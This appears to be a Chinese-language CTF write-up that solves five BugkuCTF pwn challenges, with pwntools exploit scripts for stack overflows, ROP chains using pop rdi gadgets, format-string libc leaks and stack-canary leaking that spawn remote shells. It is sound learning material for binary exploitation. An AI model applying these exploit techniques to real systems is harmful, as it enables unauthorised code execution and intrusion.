BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】

buku的pwn按照难度的顺序依次是pwn1,pwn2,pwn4,pwn5,pwn3
这些题目的libc

pwn1

nc连接后直接就有执行权限

ls
cat flag

得到flag

pwn2

下载文件放入ida
在这里插入图片描述
有一个有shell,我们只需要将程序跳转到这里
选择main F5查看代码
BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第1张图片
看到这个s申请了0x30个字节,但是下边read了0x100字节,就造成了栈溢出,我们只要将返回地址溢出为get_shell_的地址就可以得到flag。
s的地址是rbp-30,64位的返回地址通常是rbp+8,二者相差0x38,所以我们只要发送0x38个字符+get_shell的地址就可以得到flag
exp

from pwn import *

sh = remote("114.116.54.89", 10003)

print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()

pwn4

BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第2张图片
sub_400751中虽然调用了system,但参数不是"/bin/sh",无法获得shell。所以需要我们自己构造shell
将"/bin/sh"作为参数传给system函数,然后调用。在ida的数据段搜索"/bin/sh",找不到,但是可以找到“$0”,也可以得到shell。
BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第3张图片
"$0"的地址为0x60111f。由于64的程序的参数不在栈中,而是在寄存器中(前六个参数分别位于 rdi,rsi,rdx,rcx,r8,r9)
所以我们要传参还需要将栈中的数据pop到rdi中。
我们把程序放到kali中,利用ROPgadget搜索pop rdi; ret;这样的汇编代码,需要输入这样的命令

ROPgadget --binary pwn4 --only "pop|ret" | grep "rdi"

在这里插入图片描述
得到pop_rdi_ret的地址为0x4007d3
然后利用main函数中的变量s进行溢出
BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第4张图片
exp

from pwn import *

p = remote("114.116.54.89" ,10004)

system = 0x400570
pop_rdi_ret = 0x4007d3
bin_sh = 0x60111F

p.recvuntil('pwn me\n')
payload = 'a' * (0x10 + 8) 
payload += p64(pop_rdi_ret) 
payload += p64(bin_sh) 
payload += p64(system)
p.sendline(payload)
p.interactive()

pwn5

BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第5张图片
没有system,需要返回到libc。
BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第6张图片
变量s存在溢出,且要避免执行exit();查看if中比较的两个字符串,一个是“真香”,一个是“鸽子”,也就是说输入字符串s中要同时存在这两个词。
printf()存在格式化字符串漏洞,我们可以读取main函数返回地址,借此计算libc的基址。(这个题应该给出libc文件的,但是没有给,我们可以读pwn4题的libc,应该是一样的)
把libc文件放在ida中,找到_libc_start_main函数中调用main函数的地方,查看地址
BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第7张图片
这个main的返回地址就=libc基址+0x2082E(这个call rax的偏移地址) + 2(call rax的长度为2)
利用ROPgadget
查libc的system函数偏移地址0x45390
查libc的"/bin/sh"字符串偏移地址0x18cd57
查human的pop_rdi_ret地址0x400933
libc中函数的实际地址=libc基址 + 函数偏移地址
exp

#coding:utf-8
from pwn import *

p = remote("114.116.54.89", "10005")

pop_rdi = 0x400933
bin_add = 0x18cd57
sys_add = 0x45390
gezi = "鸽子"
zhenxiang = "真香"

print p.recvuntil("?\n")
p.sendline("%11$p.")
print p.recvline()
libc_leak = int(p.recvline()[2:-2],16)
libc_base = libc_leak - 0x20830
print p.recvuntil("还有什么本质?")
bin_abs = libc_base + bin_add
sys_abs = libc_base + sys_add
payload = (gezi+zhenxiang).ljust(0x20+8,"A")
payload += p64(pop_rdi)
payload += p64(bin_abs)
payload += p64(sys_abs)
p.sendline(payload)
p.interactive()

pwn3

checksec一下
在这里插入图片描述
全开,有点吓人,不慌,拖进ida
BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第8张图片
没有system,需要用libc构造shell,有canary保护,需要读canary的值,随机地址,需要读程序基址。
BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第9张图片
利用thinking_note进行栈溢出,每次利用第一个read和puts获取一个值,第二个read恢复栈并跳回main。
BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第10张图片
第一步读取canary,也就是栈中的var_8,canary的最低位通常是0x00,所以要将其覆盖(puts函数遇到0x00会停止),第一次写栈从ebp-260写到ebp-7,读出var_8,第二次将var_8写到对应位置,继续覆盖,并让r的最低位变为0x20,这样程序就能返回到main函数,
第二步读取vul的返回地址,第一次写栈到ebp+8(canary要仍要写到var_8对应的位置,不然程序会停止),读到返回地址r,然后减去0xd2e(ida中看到的vul的返回地址)
第三步读取libc基址
libc基址根据main函数的返回地址计算(方法和pwn5中一样),那么我们怎么找到main函数返回地址的位置呢?
BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】_第11张图片
main函数在call vul之前只有push rbp会影响栈,而我们在前两步分别多执行了一次push rbp,所以一共是执行了三次,那么现在main函数返回地址的位置应该和vul函数返回地址的位置相差0x8*4,也就是ebp+0x28.
然后就可以计算libc基址构造shell 了
exp

from pwn import *

p = remote("114.116.54.89", 10000)

val_add = 0xd2e
pop_rdi_add = 0xe03
puts_plt_add = 0x8b0
puts_got_add = 0x202018
start_add = 0xd20

print p.recvuntil("path:")
p.sendline("flag")
print p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260-8)+"B"
p.send(payload)
print p.recvuntil("B")
canary = u64(p.recv(7).rjust(8,"\x00"))
print "cancay:", hex(canary)
x = p.recvline()

p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8) 
payload += p64(canary)
payload += p64(0)
payload += "\x20"
p.send(payload)

print p.recvuntil("path:")
p.sendline("flag")
print p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260+7)+"B"
p.send(payload)
print p.recvuntil("B")
x = p.recvline()
val = u64(x[:-1].ljust(8,"\x00"))
print "val:", hex(val)
elf_base = val - val_add
print hex(elf_base)
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8) 
payload += p64(canary)
payload += p64(0)
payload += "\x20"
p.send(payload)

puts_plt = elf_base + puts_plt_add
puts_got = elf_base + puts_got_add
pop_rdi = elf_base + pop_rdi_add
start = elf_base + start_add

p.recvuntil("path:")
p.sendline("flag")
p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260 + 8*5-1)+"B" 
p.send(payload)
p.recvuntil("B")
x = p.recvuntil("please")
print x
start_abs = u64(x[:8].split("\n")[0].ljust(8,"\x00"))
libc_base = start_abs - 0x20830
print hex(start_abs)
p.recvuntil("(len is 624)\n")
payload = "A" * (0x260-8) 
payload += p64(canary)
payload += p64(0)
payload += p64(start)
p.send(payload)

bin_add = 0x18cd57
sys_add = 0x45390

bin_abs = libc_base + bin_add
sys_abs = libc_base + sys_add

p.recvuntil("path:")
p.sendline("flag")
p.recvuntil("len:")
p.sendline("1000")
payload = "A" * (0x260-8)
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(bin_abs)
payload += p64(sys_abs)
payload += p64(start)

p.send(payload)
p.recv()
p.recvuntil("(len is 624)\n")
payload = "A"
p.send(payload)
p.interactive()

以上,如有错误,欢迎指正,如有疑问,欢迎提问。

你可能感兴趣的:(BugkuCTF pwn1 pwn2 pwn4 pwn5 pwn3 详细writeup【橘小白】)